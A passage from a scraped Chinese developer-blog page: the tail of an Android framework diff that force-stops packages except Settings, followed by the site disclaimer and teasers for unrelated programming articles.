+                                                  !pkg.equals("com.android.settings")){
+                                                 am.forceStopPackageAsUser(pkg,mCurrentUserId);
+                                               }
+                                       }
+                               }
+                       }
+        }
+    };
+       //by ken add end
+
+BroadcastReceiver mDreamReceiver = new BroadcastReceiver() {@Overridepublic void onReceive(Context context, Intent intent) {

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/467880.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何借助AI 来提高开发效率

前言 随着人工智能&#xff08;AI&#xff09;技术的快速发展&#xff0c;特别是大规模语言模型&#xff08;如 GPT 系列&#xff09;的崛起&#xff0c;软件开发领域正在经历一场革命。AI 大模型不仅在代码生成方面展现出强大的能力&#xff0c;还在测试、维护和创新等多个环…

QML项目实战:自定义Button

目录 一.添加模块 ​1.QtQuick.Controls 2.1 2.QtGraphicalEffects 1.12 二.自定义Button 1.颜色背景设置 2.设置渐变色背景 3.文本设置 4.点击设置 5.阴影设置 三.效果 1.当enabled为true 2.按钮被点击时 3.当enabled为false 四.代码 一.添加模块 1.QtQuick.Con…

HarmonyOS NEXT应用元服务开发Intents Kit(意图框架服务)本地搜索接入方案

一、方案概述 当用户使用应用/元服务时&#xff0c;开发者可以按照标准意图Schema向系统共享数据&#xff0c;并支持意图调用&#xff08;空调用与传参调用&#xff09;&#xff0c;以实现用户点击卡片后&#xff0c;可后台执行功能&#xff08;例如播放指定歌曲&#xff09;或…

CyclicBarrier使用详解及遇到的坑

上一篇文章讲的是关于是使用CountDownLatch实现生成年底报告遇到的问题&#xff0c;这个计数器和CyclicBarrier也有类似功能&#xff0c;但是应用场景不同。 一、应用场景 CountDownLatch&#xff1a; 有ABCD四个任务&#xff0c;ABC是并行执行,等ABC三个任务都执行完…

k8s-service、endpoints、pod之间是怎么进行网络互通的

k8s-service、endpoints、pod之间是怎么进行网络互通的 1、service2、endpoints3、service、endpoints、pod通信图4、不通服务pod内部间访问 1、service 在K8S中&#xff0c;Service是一种抽象&#xff0c;定义了一组Pod的逻辑集合和访问这些Pod的策略。首先&#xff0c;我们需…

资产管理系统:SpringBoot技术实现

企业资产管理系统 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了企业资产管理系统的开发全过程。通过分析企业资产管理系统方面的不足&#xff0c;创建了一个计算机管理企业资产管理系统的方案。文章介绍了企…

I.MX6U 裸机开发5.准备C环境并用C语言控制LED

I.MX6U 裸机开发5.准备C环境并用C语言控制LED 一、C运行环境1. 设置处理器模式2. CPSR 寄存器CPSR 寄存器结构模式位MRS 指令MSR 指令 3. 设置SP指针设置 SP 指针示例 保存和恢复 SP 指针示例 4. 跳转到C语言 二、程序编写1. 启动文件 start.S2. main.h 定义寄存器3. 主程序mai…

c++设计模式demo

模式设计原则 依赖倒置原则 ⾼层模块不应该依赖低层模块&#xff0c;⼆者都应该依赖抽象 &#xff1b; 抽象不应该依赖具体实现&#xff0c;具体实现应该依赖于抽象&#xff1b; ⾃动驾驶系统公司是⾼层&#xff0c;汽⻋⽣产⼚商为低层&#xff0c;它们不应该互相依赖&#x…

【go从零单排】泛型(Generics)、链表

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在Go语言中&#xff0c;泛型&#xff08;Generics&#xff09;允许你编写可以处理…

Web前端开发--HTML语言

文章目录 前言1.介绍2.组成3.基本框架4.常见标签4.1双标签4.1.1.标题标签4.2.2段落标签4.1.3文本格式化标签4.1.4超链接标签4.1.5视频标签4.1.6 音频标签 4.2单标签4.2.1换行标签和水平线标签4.2.2 图像标签 5.表单控件结语 前言 生活中处处都有网站&#xff0c;无论你是学习爬…

数据结构-图的概念

不存在空图现象,顶点集不能为空,边集可以为空 研究链接一个顶点的边有多少条非常有意义 无向图的度边的二倍 有向图的入度出度,度边数 有向图一致 重点 子图必须联通,尽可能多的边和结点 对于一个生成树,他有n个节点就有n-1条边 修路问题将各个村庄相连,由于经费有限,只能选择…

TDengine 签约蘑菇物联,改造通用设备工业互联网平台

在当前工业互联网迅猛发展的背景下&#xff0c;企业面临着日益增长的数据处理需求和智能化转型的挑战。通用工业设备的高能耗问题愈发突出&#xff0c;尤其是由这些设备组成的公辅能源车间&#xff0c;亟需更高效的解决方案来提升设备运行效率&#xff0c;降低能源消耗。为此&a…

LSM-TREE和SSTable

一、什么是LSM-TREE LSM Tree 是一种高效的写优化数据结构&#xff0c;专门用于处理大量写入操作 在一些写多读少的场景&#xff0c;为了加快写磁盘的速度&#xff0c;提出使用日志文件追加顺序写&#xff0c;加快写的速度&#xff0c;减少随机读写。但是日志文件只能遍历查询…

vue3使用easy-player播放hls监控流

easy-player未发布在npm上&#xff0c;只能采用静态引入方式&#xff0c;老版本不支持v3 1. 在public文件夹下放入EasyPlayer-element.min.js 和 EasyPlayer.wasm 文件 2. 在根目录index.html引入 这样在vue文件中可以使用easy-player 标签 附件

【VScode】C/C++多文件夹下、多文件引用、分别编译——仅一个设置【适合新人入手】

【VScode】C/C多文件夹内的多文件引用编译 1、问题2、前提&#xff08;最简环境&#xff09;3、核心&#xff08;关键配置&#xff09;4、成功享用~ 1、问题 在使用 VScode 编写一个简单项目的时候&#xff0c;没有特别配置的情况下&#xff0c;若主文件(.c)引用了自定义的头文…

【数据集】【YOLO】【目标检测】交通事故识别数据集 8939 张,YOLO道路事故目标检测实战训练教程!

数据集介绍 【数据集】道路事故识别数据集 8939 张&#xff0c;目标检测&#xff0c;包含YOLO/VOC格式标注。数据集中包含2种分类&#xff1a;{0: accident, 1: non-accident}。数据集来自国内外图片网站和视频截图。检测范围道路事故检测、监控视角检测、无人机视角检测、等&…

Scala 的包及其导入

Scala使用包来创建用于模块化程序的命名空间。通过在Scala文件的顶部声明一个或多个包名称可以创建包&#xff0c;另一种声明包的方式是使用0&#xff0c;这种方式可以嵌套包&#xff0c;并且提供更好的范围与封装控制。对于包的导入&#xff0c;Scala与Java的区别之一便是&…

使用 HuggingFace 提供的 Elasticsearch 托管交叉编码器进行重新排名

作者&#xff1a;来自 Elastic Jeff Vestal 了解如何使用 Hugging Face 的模型在 Elasticsearch 中托管和执行语义重新排序。 在这篇简短的博文中&#xff0c;我将向你展示如何使用 Hugging Face 中的模型在搜索时在你自己的 Elasticsearch 集群中执行语义重新排序。我们将使用…

深究JS底层原理

一、JS中八种数据类型判断方法 在JavaScript中&#xff0c;数据类型分为两大类&#xff1a;基本&#xff08;原始&#xff09;数据类型和引用&#xff08;对象&#xff09;数据类型。 基本数据类型&#xff08;Primitive Data Types&#xff09; 基本数据类型是表示简单的数…

C++虚继承演示

在继承中如果出现&#xff1a; 这种情况&#xff0c;B和C都继承了A&#xff0c;D继承了B、C 在D中访问A的成员会出现&#xff1a; 这样的警告 是因为在继承时A出现两条分支&#xff1a;ABD、ACD 编译器不知道访问的A中的元素是经过B继承还是C继承 所以B、C在继承A时要用到…